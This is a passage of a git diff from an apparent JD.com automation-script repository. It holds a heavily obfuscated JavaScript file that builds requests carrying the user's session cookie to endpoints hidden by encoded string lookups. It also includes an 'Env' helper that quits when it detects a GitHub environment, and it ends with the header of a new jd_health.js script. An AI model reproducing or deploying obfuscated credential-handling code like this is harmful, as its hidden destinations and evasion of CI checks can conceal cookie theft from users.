)](_0x5e394f,_0x3bda54);}finally{if(_0x301ad8[_0x1397('143','aM3b')](_0x301ad8[_0x1397('144','pjia')],_0x301ad8[_0x1397('145','YBF&')])){_0x301ad8[_0x1397('146','j1Vv')](_0x13617a);}else{console[_0x1397('13d','CM6L')](''+JSON[_0x1397('61','Ayq5')](_0x4a4fc1));console[_0x1397('147','xA72')]($[_0x1397('148','Wzkm')]+_0x1397('149',')^(8'));}}}});});}function _0xd5e08a(_0x18c5c0){var _0x4732d2={'KTzQB':function(_0x2d8e5d,_0x5ec218){return _0x2d8e5d!==_0x5ec218;},'gUSjS':_0x1397('14a','zmkL'),'cxwnQ':function(_0x5164fc,_0x5b2b15){return _0x5164fc==_0x5b2b15;},'PrhME':function(_0x37ea67,_0x25d211){return _0x37ea67===_0x25d211;},'JTEKr':_0x1397('14b',')^(8'),'GCUJi':_0x1397('14c','hx28'),'wJZji':function(_0x38a198,_0x5ca717){return _0x38a198(_0x5ca717);},'AwtCg':_0x1397('14d','2&S]'),'UCDyI':_0x1397('14e','yW]B')};return new Promise(_0x244d32=>{var _0x24ad9d={'IekPP':_0x4732d2[_0x1397('14f','Kl@E')],'zaKRM':_0x4732d2[_0x1397('150','!ztH')]};let _0x1292d3='';$[_0x1397('151','Kl@E')]({'url':_0x18c5c0},async(_0x1882ea,_0x5b022e,_0x450df3)=>{if(_0x4732d2[_0x1397('152','xI6(')](_0x4732d2[_0x1397('153','&b9Y')],_0x4732d2[_0x1397('154',')^(8')])){$[_0x1397('155','JPxi')]($[_0x1397('156','aM3b')],_0x24ad9d[_0x1397('157','xA72')],_0x24ad9d[_0x1397('158','xI6(')],{'open-url':_0x24ad9d[_0x1397('159','[Jme')]});return;}else{try{if(_0x1882ea){if(_0x4732d2[_0x1397('15a','pjia')](_0x5b022e[_0x1397('15b','CJqo')],0x202)){console[_0x1397('15c','JPxi')](_0x1397('15d','CM6L'));}else{console[_0x1397('45','xRQa')](''+JSON[_0x1397('15e','Kl@E')](_0x1882ea));}_0x1292d3='';}else{if(!!_0x450df3){_0x1292d3=_0x450df3[_0x1397('ca','!ztH')](/[\r\n]/g,'');}else{_0x1292d3='';}}}catch(_0x410488){if(_0x4732d2[_0x1397('15f','!ztH')](_0x4732d2[_0x1397('160','0zsU')],_0x4732d2[_0x1397('161','0zsU')])){return JSON[_0x1397('162',')^(8')](str);}else{$[_0x1397('163','#Z$t')](_0x410488,_0x5b022e);}}finally{_0x4732d2[_0x1397('164','d[PA')](_0x244d32,_0x1292d3);}}});});}function _0x18f0f7(){var _0x3db101={'wWfMt':_0x1397('165','2&S]'),'qySTa':_0x1397('166','CM6L'),'aQrZm':function(_0xbeeef,_0xe528be){return _0xbeeef===_0xe528be;},'ahHAh':_0x1397('167','YBF&'),'iOKJJ':_0x1397('168','(14x')};let _0x372a88=_0x3db101[_0x1397('169','aM3b')];if($[_0x1397('16a','^]tN')]()&&process[_0x1397('16b','*)8S')][_0x1397('16c','3L)y')]){if(_0x3db101[_0x1397('16d','(14x')](_0x3db101[_0x1397('16e','00$W')],_0x3db101[_0x1397('16f','XgSw')])){let _0x558759=_0x3db101[_0x1397('170','JPxi')];if($[_0x1397('171','G89w')]()&&process[_0x1397('5c','^h3j')][_0x1397('172','Wzkm')]){_0x558759=process[_0x1397('173','0zsU')][_0x1397('174','pjia')];}else if($[_0x1397('175','CM6L')](_0x3db101[_0x1397('176','LiL9')])){_0x558759=$[_0x1397('177','A#Us')](_0x3db101[_0x1397('178','b!pb')]);}return _0x558759;}else{_0x372a88=process[_0x1397('59','aM3b')][_0x1397('179','Ayq5')];}}else if($[_0x1397('17a','!PYj')](_0x3db101[_0x1397('17b',')^(8')])){_0x372a88=$[_0x1397('17c','aM3b')](_0x3db101[_0x1397('17d','[Jme')]);}return _0x372a88;}function _0x269e3c(){var _0x5268e0={'XmHBV':function(_0x16b7ff,_0x4c7a9d){return _0x16b7ff(_0x4c7a9d);},'HkUPH':function(_0x432534,_0x4c68b1){return _0x432534+_0x4c68b1;},'vhMMx':function(_0x37731c,_0x31ab00){return _0x37731c+_0x31ab00;},'CYgEo':function(_0x4b300f,_0x5ccce0){return _0x4b300f*_0x5ccce0;},'FKavl':function(_0x1154b7,_0x3463ed){return _0x1154b7*_0x3463ed;},'OJqVy':function(_0x5d21ea,_0x105eef){return _0x5d21ea*_0x105eef;},'WnvmA':_0x1397('17e','#Z$t'),'PwaZc':_0x1397('17f','7Hqq'),'sllAS':_0x1397('180','f%nz'),'rMPjD':_0x1397('181','XgSw'),'dXsJr':_0x1397('182','3hCf'),'EDrvi':_0x1397('183','(14x'),'jKYjR':_0x1397('184','CJqo'),'CmFVb':function(_0xb7507,_0x37262f){return _0xb7507!==_0x37262f;},'tQXXT':_0x1397('185','zhk0'),'FMpqU':function(_0x2c3b84,_0x2dc77b){return _0x2c3b84!=_0x2dc77b;},'nwZSi':_0x1397('186','G89w'),'oSuYL':_0x1397('187','CJqo'),'yQNab':function(_0x350a8f,_0x196614){return _0x350a8f!=_0x196614;}};if($[_0x1397('188','j1Vv')]()&&process[_0x1397('4','pjia')][_0x1397('189','Wzkm')]){if(_0x5268e0[_0x1397('18a','00$W')](_0x5268e0[_0x1397('18b','NDPd')],_0x5268e0[_0x1397('18c','2&S]')])){return{'url':_0x5590e8+_0x1397('18d','3L)y')+function_id+_0x1397('18e','^]tN')+_0x5268e0[_0x1397('18f','N84B')](escape,JSON[_0x1397('190','pjia')](body))+_0x1397('191','7Hqq')+_0x5268e0[_0x1397('192','N84B')](_0x5268e0[_0x1397('193','Kl@E')](new Date()[_0x1397('194','q&xS')](),_0x5268e0[_0x1397('195','aM3b')](_0x5268e0[_0x1397('196','aM3b')](new Date()[_0x1397('197','^h3j')](),0x3c),0x3e8)),_0x5268e0[_0x1397('198','00$W')](_0x5268e0[_0x1397('199','(Wgi')](_0x5268e0[_0x1397('19a',']PO1')](0x8,0x3c),0x3c),0x3e8)),'headers':{'Accept':_0x5268e0[_0x1397('19b','xI6(')],'Accept-Encoding':_0x5268e0[_0x1397('19c','[Jme')],'Accept-Language':_0x5268e0[_0x1397('19d','3hCf')],'Connection':_0x5268e0[_0x1397('19e','[Jme')],'Content-Type':_0x5268e0[_0x1397('19f','^h3j')],'Host':_0x5268e0[_0x1397('1a0','NDPd')],'Referer':_0x1397('1a1','LiL9')+$[_0x1397('1a2','3L)y')]+_0x1397('1a3','LiL9'),'Cookie':cookie,'User-Agent':_0x5268e0[_0x1397('1a4','3L)y')]}};}else{return _0x5268e0[_0x1397('1a5','pjia')](process[_0x1397('1a6','XgSw')][_0x1397('1a7','pjia')],_0x5268e0[_0x1397('1a8','aM3b')]);}}else if($[_0x1397('1a9','3hCf')](_0x5268e0[_0x1397('1aa','YBF&')])){return _0x5268e0[_0x1397('1ab','A#Us')]($[_0x1397('1ac','zhk0')](_0x5268e0[_0x1397('1ad','b!pb')]),_0x5268e0[_0x1397('1ae','*)8S')]);}return!![];}function _0x4a7dc3(_0x10dfbb,_0x3b1cd3={}){var _0x4b4aaf={'XEmwV':function(_0x374038,_0x1ac37f){return _0x374038(_0x1ac37f);},'Rkkal':function(_0x42af1e,_0x1e22d7){return _0x42af1e+_0x1e22d7;},'QfODD':function(_0x2bbedf,_0x40c462){return _0x2bbedf*_0x40c462;},'mqHli':_0x1397('1af','f%nz'),'cMRsJ':_0x1397('17f','7Hqq'),'fnokc':_0x1397('1b0','7Hqq'),'jbpVp':_0x1397('1b1','YBF&'),'aySwa':_0x1397('1b2','8D^#'),'FFZJl':_0x1397('1b3','[Jme'),'QgqnH':_0x1397('1b4','*)8S')};return{'url':_0x5590e8+_0x1397('1b5','#Z$t')+_0x10dfbb+_0x1397('1b6','yW]B')+_0x4b4aaf[_0x1397('1b7','YBF&')](escape,JSON[_0x1397('1b8','NDPd')](_0x3b1cd3))+_0x1397('1b9','3L)y')+_0x4b4aaf[_0x1397('1ba','2sA7')](_0x4b4aaf[_0x1397('1bb','j1Vv')](new Date()[_0x1397('1bc','A#Us')](),_0x4b4aaf[_0x1397('1bd','LiL9')](_0x4b4aaf[_0x1397('1be','A#Us')](new Date()[_0x1397('1bf','CM6L')](),0x3c),0x3e8)),_0x4b4aaf[_0x1397('1c0','hMbH')](_0x4b4aaf[_0x1397('1c1',')^(8')](_0x4b4aaf[_0x1397('1c2','Kl@E')](0x8,0x3c),0x3c),0x3e8)),'headers':{'Accept':_0x4b4aaf[_0x1397('1c3','00$W')],'Accept-Encoding':_0x4b4aaf[_0x1397('1c4','hx28')],'Accept-Language':_0x4b4aaf[_0x1397('1c5','!PYj')],'Connection':_0x4b4aaf[_0x1397('1c6','j1Vv')],'Content-Type':_0x4b4aaf[_0x1397('1c7','[Jme')],'Host':_0x4b4aaf[_0x1397('1c8','#Z$t')],'Referer':_0x1397('1c9','!ztH')+$[_0x1397('1ca','7Hqq')]+_0x1397('1cb','CJqo'),'Cookie':cookie,'User-Agent':_0x4b4aaf[_0x1397('1cc','(14x')]}};}function _0x1fbe85(){var _0x8c07df={'vPWdK':function(_0x2db937,_0x43ca4f){return _0x2db937+_0x43ca4f;},'HIcTc':function(_0x15e1cc,_0x8cb172){return _0x15e1cc*_0x8cb172;},'ElzPi':function(_0x28449c,_0x306d41){return _0x28449c-_0x306d41;},'gGGSd':_0x1397('1cd','NDPd'),'ZdyCr':_0x1397('1ce','d[PA'),'LqXHJ':function(_0x13b747,_0x37a0e9){return _0x13b747==_0x37a0e9;},'vXBFf':function(_0x16c050,_0x5823d6){return _0x16c050===_0x5823d6;},'cCiGu':_0x1397('1cf','N84B'),'LBXSX':function(_0x8dc41b,_0x278bf5){return _0x8dc41b!==_0x278bf5;},'ULcKR':_0x1397('1d0','zmkL'),'CDFxP':_0x1397('1d1','G89w'),'QUDli':_0x1397('1d2','q&xS'),'wAbuD':_0x1397('1d3',')^(8'),'ncmBF':_0x1397('1d4','YBF&'),'HecNZ':function(_0x3d6373,_0x325c20){return _0x3d6373===_0x325c20;},'xGveF':_0x1397('1d5','j1Vv'),'rNjLz':_0x1397('1d6','NDPd'),'hpkIo':_0x1397('1d7','xA72'),'rvFni':_0x1397('1d8','xA72'),'egWfX':_0x1397('1d9','Kl@E'),'OgRZJ':function(_0x57e366){return _0x57e366();},'iPPrR':_0x1397('1da','*)8S'),'SSXKB':_0x1397('1db','xRQa'),'GUmra':_0x1397('1dc','Kl@E'),'KhbZV':_0x1397('1dd','^]tN'),'DvOUm':_0x1397('1de','3L)y'),'hrSNP':_0x1397('1df','A#Us'),'tNIOS':_0x1397('1e0','XgSw'),'EttnX':_0x1397('1e1','xRQa')};return new Promise(async _0x48100b=>{var _0x3d6912={'Nzfrk':function(_0x4f672a,_0x289f0c){return _0x8c07df[_0x1397('1e2','tXsZ')](_0x4f672a,_0x289f0c);},'hIyeX':function(_0x1b4cb1,_0x266b60){return _0x8c07df[_0x1397('1e3','Kl@E')](_0x1b4cb1,_0x266b60);},'Pfsvv':function(_0x1412d5,_0x23a4c6){return _0x8c07df[_0x1397('1e4',']PO1')](_0x1412d5,_0x23a4c6);},'CMmlu':_0x8c07df[_0x1397('1e5','Ayq5')],'hlBoK':_0x8c07df[_0x1397('1e6','Ayq5')],'JTHFN':function(_0x2c6bfc,_0x58302f){return _0x8c07df[_0x1397('1e7','Wzkm')](_0x2c6bfc,_0x58302f);},'oJasE':function(_0x4e6e51,_0x58314e){return _0x8c07df[_0x1397('1e8','[Jme')](_0x4e6e51,_0x58314e);},'uzgnd':_0x8c07df[_0x1397('1e9','xA72')],'erxqR':function(_0x492cc1,_0x4225e2){return _0x8c07df[_0x1397('1ea','!PYj')](_0x492cc1,_0x4225e2);},'XuWri':_0x8c07df[_0x1397('1eb','xI6(')],'SxTJc':_0x8c07df[_0x1397('1ec','zmkL')],'wuYLV':_0x8c07df[_0x1397('1ed','j1Vv')],'gWmrv':_0x8c07df[_0x1397('1ee','2&S]')],'LIVrp':_0x8c07df[_0x1397('1ef','q&xS')],'DaRND':function(_0x5da8b8,_0x4d83f4){return _0x8c07df[_0x1397('1f0','3L)y')](_0x5da8b8,_0x4d83f4);},'WMaTe':_0x8c07df[_0x1397('1f1','d[PA')],'ODTaK':_0x8c07df[_0x1397('1f2',']PO1')],'EdFEf':_0x8c07df[_0x1397('1f3','[Jme')],'Jxcvm':_0x8c07df[_0x1397('1f4','Ayq5')],'gPWZL':_0x8c07df[_0x1397('1f5','hMbH')],'nexJM':function(_0x171ad4){return _0x8c07df[_0x1397('1f6','Wzkm')](_0x171ad4);}};const _0x346876={'url':_0x1397('1f7','yW]B'),'headers':{'Accept':_0x8c07df[_0x1397('1f8','Ayq5')],'Content-Type':_0x8c07df[_0x1397('1f9','*)8S')],'Accept-Encoding':_0x8c07df[_0x1397('1fa','JPxi')],'Accept-Language':_0x8c07df[_0x1397('1fb','hMbH')],'Connection':_0x8c07df[_0x1397('1fc','!PYj')],'Cookie':cookie,'Referer':_0x8c07df[_0x1397('1fd','2&S]')],'User-Agent':$[_0x1397('1fe','^h3j')]()?process[_0x1397('1ff','[Jme')][_0x1397('200','LiL9')]?process[_0x1397('201','q&xS')][_0x1397('202','Kl@E')]:_0x8c07df[_0x1397('203','!ztH')]:$[_0x1397('204','^]tN')](_0x8c07df[_0x1397('205','zhk0')])?$[_0x1397('206','hx28')](_0x8c07df[_0x1397('207','tXsZ')]):_0x8c07df[_0x1397('208','q&xS')]}};$[_0x1397('209','xI6(')](_0x346876,(_0x209a68,_0x1ee4e1,_0x492e58)=>{var _0x46d2d9={'GtoTi':_0x3d6912[_0x1397('20a','j1Vv')],'rUCNQ':function(_0x55bbc0,_0x5e2066){return _0x3d6912[_0x1397('20b','Wzkm')](_0x55bbc0,_0x5e2066);}};try{if(_0x209a68){if(_0x3d6912[_0x1397('20c','(14x')](_0x3d6912[_0x1397('20d','2&S]')],_0x3d6912[_0x1397('20e','3hCf')])){console[_0x1397('20f','hMbH')](''+JSON[_0x1397('210','YBF&')](_0x209a68));console[_0x1397('211','tXsZ')]($[_0x1397('212','hMbH')]+_0x1397('213','xI6('));}else{console[_0x1397('49','NB)(')](_0x1397('214','7Hqq'));}}else{if(_0x3d6912[_0x1397('215','Ayq5')](_0x3d6912[_0x1397('216','3hCf')],_0x3d6912[_0x1397('217','(14x')])){$[_0x1397('218','hx28')]=![];return;}else{if(_0x492e58){_0x492e58=JSON[_0x1397('219','hx28')](_0x492e58);if(_0x3d6912[_0x1397('21a','CM6L')](_0x492e58[_0x3d6912[_0x1397('21b','aM3b')]],0xd)){$[_0x1397('21c','3hCf')]=![];return;}if(_0x3d6912[_0x1397('21d','0zsU')](_0x492e58[_0x3d6912[_0x1397('21e','3L)y')]],0x0)){if(_0x3d6912[_0x1397('21f','^]tN')](_0x3d6912[_0x1397('220','hx28')],_0x3d6912[_0x1397('221','aM3b')])){url=$[_0x1397('222','!ztH')](_0x46d2d9[_0x1397('223','b!pb')]);}else{$[_0x1397('224','tXsZ')]=_0x492e58[_0x3d6912[_0x1397('225','8D^#')]]&&_0x492e58[_0x3d6912[_0x1397('226','2sA7')]][_0x1397('227','0zsU')]||$[_0x1397('228','q&xS')];}}else{if(_0x3d6912[_0x1397('229','^]tN')](_0x3d6912[_0x1397('22a','f%nz')],_0x3d6912[_0x1397('22b','j1Vv')])){$[_0x1397('92','xI6(')]=$[_0x1397('9a','N84B')];}else{return _0x3d6912[_0x1397('22c','Ayq5')](Math[_0x1397('22d','hMbH')](_0x3d6912[_0x1397('22e','yW]B')](Math[_0x1397('22f','zhk0')](),_0x3d6912[_0x1397('230','[Jme')](max,min))),min);}}}else{if(_0x3d6912[_0x1397('231','aM3b')](_0x3d6912[_0x1397('232','*)8S')],_0x3d6912[_0x1397('233','aM3b')])){console[_0x1397('234',')^(8')](_0x1397('235','aM3b'));}else{console[_0x1397('236','G89w')](e);$[_0x1397('237','!ztH')]($[_0x1397('238','NB)(')],'',_0x3d6912[_0x1397('239','*)8S')]);return[];}}}}}catch(_0x527be7){if(_0x3d6912[_0x1397('23a','N84B')](_0x3d6912[_0x1397('23b','2sA7')],_0x3d6912[_0x1397('23c','LiL9')])){if(_0x46d2d9[_0x1397('23d','CM6L')](_0x1ee4e1[_0x1397('23e','Ayq5')],0x202)){console[_0x1397('23f','(14x')](_0x1397('240',')^(8'));}else{console[_0x1397('13d','CM6L')](''+JSON[_0x1397('241','^h3j')](_0x209a68));}id='';}else{$[_0x1397('242','q&xS')](_0x527be7,_0x1ee4e1);}}finally{_0x3d6912[_0x1397('243','!PYj')](_0x48100b);}});});}function _0x2a6b3c(_0x51e159){var _0x5cb75b={'ycJLx':function(_0x586d30,_0x3e0ecf){return _0x586d30!==_0x3e0ecf;},'dEiMG':_0x1397('244','tXsZ'),'AcOml':_0x1397('245','G89w'),'uOwyi':function(_0x19b084,_0x5374d3){return _0x19b084==_0x5374d3;},'HjzHK':_0x1397('246','2sA7'),'gZaDQ':function(_0xad525b,_0x454ead){return _0xad525b===_0x454ead;},'nFvdX':_0x1397('247','2sA7')};try{if(_0x5cb75b[_0x1397('248','hMbH')](_0x5cb75b[_0x1397('249','A#Us')],_0x5cb75b[_0x1397('24a','hMbH')])){if(_0x5cb75b[_0x1397('24b','^]tN')](typeof JSON[_0x1397('24c','!ztH')](_0x51e159),_0x5cb75b[_0x1397('24d','xI6(')])){if(_0x5cb75b[_0x1397('24e','f%nz')](_0x5cb75b[_0x1397('24f','00$W')],_0x5cb75b[_0x1397('250','G89w')])){return!![];}else{console[_0x1397('251','Wzkm')](_0x1397('252','^h3j'));message+=_0x1397('253','2sA7');}}}else{console[_0x1397('108','00$W')](_0x1397('254','j1Vv')+JSON[_0x1397('255','3hCf')](_0x51e159));}}catch(_0x578775){console[_0x1397('256','A#Us')](_0x578775);console[_0x1397('257','^]tN')](_0x1397('258','7Hqq'));return![];}}function _0x332046(_0x1facd2){var _0x163c5b={'EPist':function(_0x5633e1,_0x4b4f07){return _0x5633e1!=_0x4b4f07;},'YsXeL':function(_0x293050,_0x4a77f8){return _0x293050<_0x4a77f8;},'hyRDG':function(_0x3a548b,_0x605e29){return _0x3a548b+_0x605e29;},'qpkIf':function(_0xfa4a42,_0x1a8fb9,_0x13aee8){return _0xfa4a42(_0x1a8fb9,_0x13aee8);},'GVNjX':function(_0xa65e11,_0x3f12){return _0xa65e11==_0x3f12;},'EItmr':_0x1397('259','zhk0'),'Ouwol':function(_0x5c2bed,_0x3dd205){return _0x5c2bed===_0x3dd205;},'QaydQ':_0x1397('25a','xI6('),'rbVLi':_0x1397('25b',')^(8')};if(_0x163c5b[_0x1397('25c','*)8S')](typeof _0x1facd2,_0x163c5b[_0x1397('25d','yW]B')])){if(_0x163c5b[_0x1397('25e','3hCf')](_0x163c5b[_0x1397('25f','pjia')],_0x163c5b[_0x1397('260','xI6(')])){try{return JSON[_0x1397('261','hMbH')](_0x1facd2);}catch(_0x546679){console[_0x1397('10a','!ztH')](_0x546679);$[_0x1397('2e','Wzkm')]($[_0x1397('b3','*)8S')],'',_0x163c5b[_0x1397('262','[Jme')]);return[];}}else{if(_0x163c5b[_0x1397('263','hMbH')](code[_0x1397('264','hMbH')]('-'),-0x1)){_0x446bc9=!![];let _0x39d5e6=code[_0x1397('265','Wzkm')]()[_0x1397('266','CJqo')](/-/g,'');var _0x1f2550=_0x39d5e6[_0x1397('267','2&S]')]('')[_0x1397('268','3hCf')]()[_0x1397('269','A#Us')]('');var _0x244b6a=_0x1f2550[_0x1397('26a','[Jme')];var _0x13eaf3;var _0x4289ab=[];for(var _0x582123=0x0;_0x163c5b[_0x1397('26b','0zsU')](_0x582123,_0x244b6a);_0x582123=_0x163c5b[_0x1397('26c','JPxi')](_0x582123,0x2)){_0x13eaf3=_0x163c5b[_0x1397('26d','hx28')](parseInt,_0x1f2550[_0x1397('26e','zmkL')](_0x582123,0x2),0x10);_0x4289ab[_0x1397('26f','tXsZ')](String[_0x1397('270','q&xS')](_0x13eaf3));}return _0x4289ab[_0x1397('271','[Jme')]('')[_0x1397('272','j1Vv')](/#/g,'');}else{return code;}}}};_0xodW='jsjiami.com.v6'; + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_health.js b/jd_health.js new file mode 100644 index 0000000..7510280 --- /dev/null +++ b/jd_health.js @@ -0,0 +1,448 @@ +/* +东东健康社区 +更新时间:2021-4-22 +活动入口:京东APP首页搜索 "玩一玩"即可 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区 +13 0,6,22 * * * jd_health.js, tag=东东健康社区, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "13 0,6,22 * * *" script-path=jd_health.js, tag=东东健康社区 + +====================Surge================ +东东健康社区 = type=cron,cronexp="13 0,6,22 * * *",wake-system=1,timeout=3600,script-path=jd_health.js + +============小火箭========= +东东健康社区 = type=cron,script-path=jd_health.js, cronexpr="13 0,6,22 * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require('./sendNotify') : ""; +let cookiesArr = [], cookie = "", allMessage = "", message; +const inviteCodes = [ + 